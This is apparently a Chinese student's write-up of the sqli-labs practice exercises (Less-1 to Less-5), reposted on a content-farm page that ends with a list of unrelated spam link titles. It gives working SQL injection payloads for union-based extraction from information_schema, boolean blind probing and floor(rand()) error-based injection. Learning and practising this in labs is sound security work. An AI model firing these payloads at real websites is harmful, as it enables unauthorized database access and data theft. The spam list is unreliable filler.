当前位置: 首页 > wzjs >正文

站酷设计官方网站矿产网站建设价格

站酷设计官方网站,矿产网站建设价格,大连网站建设那家好,北京seo优化费用p1 sql注入的目的是为了破坏sql语句结构,有三种参数类型,字符型(就是一个字符1或者a之类的),字符串(“hellow之类的”)型,数值型,前两个有闭合,注释符号有# …

p1

sql注入的目的是为了破坏sql语句结构,有三种参数类型,字符型(就是一个字符1或者a之类的),字符串(“hellow之类的”)型,数值型,前两个有闭合,注释符号有# --(空格) --+

[(空格)转换为20%#转换为23%]

有回显,说明参数是字符型单引号闭合,尝试爆字段 

当输入order by 4的时候报错,说明存在3列,而且就然能报错说明将语句解析执行了,说明存在注入点(order by是对列进行排序的意思)

联合查询,前面报错后面插入恶意语句,得到回显位2,3 (显示数据库查询结果)

补充:联合查询的列数,必须与原始查询的列数一致,所以有了占位符一说

输出2的名字和3,其中1,3是占位符,

最后用联合注入

http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

group_concat:一次性提取多行数据时用“,”将他们连接起来

schema:包含所有数据库的列表以及有关这些数据库的信息。

information_schema是一个系统数据库,存储了所有数据库、表、列等元数据信息。在这里用于提取数据库名

information_schema.schemata查询这个表可以获取所有数据库的名称

在ctftraining中查找flag ,

http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables  where table_schema='ctftraining' --+

再查询column名

http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='ctftraining' and table_name='flag' --+

 最后输入

http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(flag) from ctftraining.flag --+

cat flag

 p2

 判断参数类型为数值型,报错存在注入点

一直order by到4才报错,所以有三个字段回显位

暴库名

 爆表名

爆列名

 爆flag

 p3

我以为还是数值型

但是1=2也对 

联合注入查看报错信息‘) 闭合

回显位2,3

爆库名

 爆表名

爆列名

爆flag

p4

也是前期咋个试都对

")报错了,存在注入点

回显位

 爆库名

 爆表名

得到flag

p5

我去,看的wp布尔盲注强行爆破,太麻烦了,又去找发现了updatexml报错注入

无回显

 报错,单引号闭合,

看别人wp有两种方法,一个布尔盲注很麻烦,不过趁机详细学学,另一个是updatexml报错注入

方法一(布尔盲注)

主要学知识点,操作一部分,不完全操作,太麻烦了

一、盲注思路:

  1. 爆库名长度
  2. 根据库名长度爆库名
  3. 对当前库爆表数量
  4. 根据库名和表数量爆表名长度
  5. 根据表名长度爆表名
  6. 对表爆列数量
  7. 根据表名和列数量爆列名长度
  8. 根据列名长度爆列名
  9. 根据列名爆数据值

简单来说按照层次轮流爆:数量,长度,名

二、盲注原理

将?id=1与and并列进行注入

1.常用函数

(1)substr(str,from,length):(字符串,截取位,截取长度)这里要注意没有0位从1位开始 

(2)length(str):返回str长度

(3)ascii(char): 返回字符的ASCII码。

(4)count(): 返回当前列的数量。

(5)case when (条件) then 代码1 else 代码2 end: 条件成立则执行代码1,否则执行代码2

2.盲注步骤(穷举,盲猜)

爆破库名长度,ba

?id=1 and length(database())=1

爆到其他的是图一,爆到8是图二,说明库名长度为8

爆破库名

第一个字母s

第二个是e

逐个尝试是security

我不知道为什么下面这个payload爆不了字段,都显示正确

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28--+

判断所有表名字段长度为29注意","会被记入总长度 

?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1)='m'--+

当试到e时成功,m时成功...........

最后爆出来是emails,referers,uagents,users

在接着爆列的长度

列长度为20

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

爆这个错

?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='a'--+

到 i 的时候成功.......省略n多步骤最后爆出来id,username,password

有110个字符

布尔盲注自己注去吧能注出来

方法二(报错注入)

我一下子看到了好几种报错注入,逐个学习了解一下

双查询注入报错原理:

1.先来了解子查询:子查询可以理解在一个select语句中再插入一个select 里面的select语句就是子查询eg:select concat((select database()));执行语句时,先从子查询进行, 先执行select database()再把结果传入到concat函数

2.常用函数:

(1)rand:随机生成0~1之间的小数

(2)floor:向下取整,将rand取为0或者1触发报错

(3)concat:将多个字符连成一个字符串

(4)group by:按照指定结果分组,结合floor(rand()*2)触发报错,嗯......具体例子不好展示,大概就是:

(5)count:统计行数,用于group by 分组统计,触发报错

(6)limit:限制返回的行数

3.场景复现

创建数据库;

使用该数据库;

创建表;

插入数据并查询;

好吧,插入了好几次终于报错了

就可以得到数据库信息

还是想写一下大致逻辑:

扫描第一行:假设一开始floor(rand()*2)的结果为0,准备插入前再次扫面floor(rand()*2)的结果为1,则插入1,并count1;

扫面第二行:floor(rand()*2)的结果为1,直接count+1

扫描第三行:floor(rand()*2)的结果为0,准备插入前再次扫面floor(rand()*2)的结果为1,想要插入,但是已经有1了就会报错,由此得到有用信息

关于报错注入的原理和底层逻辑sql注入--双查询报错注入原理探索_报错注入查询多个数据库-CSDN博客

这篇文章写的非常通俗易懂,而且非常清晰,牛牛牛,这里就不一一赘述了,下面是查询语句

mysql> SELECT count(*),concat((SELECT database()),"~",floor(rand()*2))as a FROM test GROUP BY a;
然后构造payload注入  
?id=-1'%20 union select 1, count(*),concat((select database()),"~",floor (rand()*2)) as a from information_schema.tables group by a--+
          这里要注意一个问题,联合查询的列要和本身列数相同, 所以是union select 1, count(*),concat..........          
 爆表名, 但是这个爆表名为什莫这里还是concat((select database())?
?id=-1' union select count(),count(), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+
       爆列名
?id=1' union select 1, count(), concat((select username from users limit 0,1), '---', floor(rand(0)2)) as a from information_schema.tables group by a --+
                                          

http://www.dtcms.com/wzjs/257421.html

相关文章:

  • 推荐设计感强的网站百度拍照搜索
  • 个人博客网页模板seo专员是指什么意思
  • 网站开发与建设方向品牌seo主要做什么
  • 如何制作微信网站磁力猫最好磁力搜索引擎
  • 广州东莞高坎疫情最新消息seo团队管理系统
  • 怎么做弹幕视频网站chatgpt网址
  • 哈尔滨免费模板建站西地那非片能延时多久
  • 吉安市建设技术培训中心网站免费网站服务器安全软件下载
  • 深圳做网站优化工资多少seo零基础入门教程
  • 萧山做网站的企业做网站怎么做
  • gstatic wordpress珠海关键词优化软件
  • 文字图片在线制作生成器网站优化哪个公司好
  • 网站建设服务电话爱站网综合查询
  • 简述营销型网站开发流程图今日头条新闻最新消息
  • wordpress网站源码分享百度热度榜搜索趋势
  • 龙岗网站建设推广报价北京互联网公司有哪些
  • 网站域名都需要备案吗seo排名优化方法
  • 中国少数民族网站建设徐州百度seo排名优化
  • flask做的网站有哪些百度问答库
  • 郑州做网站推广外包查询关键词排名软件
  • 用Html5做网站seo综合查询工具下载
  • php网站开发案例教程引擎seo优
  • 电子商务网站建设精品课程百度客服中心人工电话
  • 金石项目管理软件小红书seo优化
  • 服务器ecs可以做网站吗网站seo优化教程
  • wordpress 上注册用户台州seo排名扣费
  • 网站开发研究现状福州百度快速优化
  • wordpress 文字seo营销的概念
  • 百度网页浏览器seo和sem哪个工资高
  • 网站关键词优化是什么网络推广app是违法的吗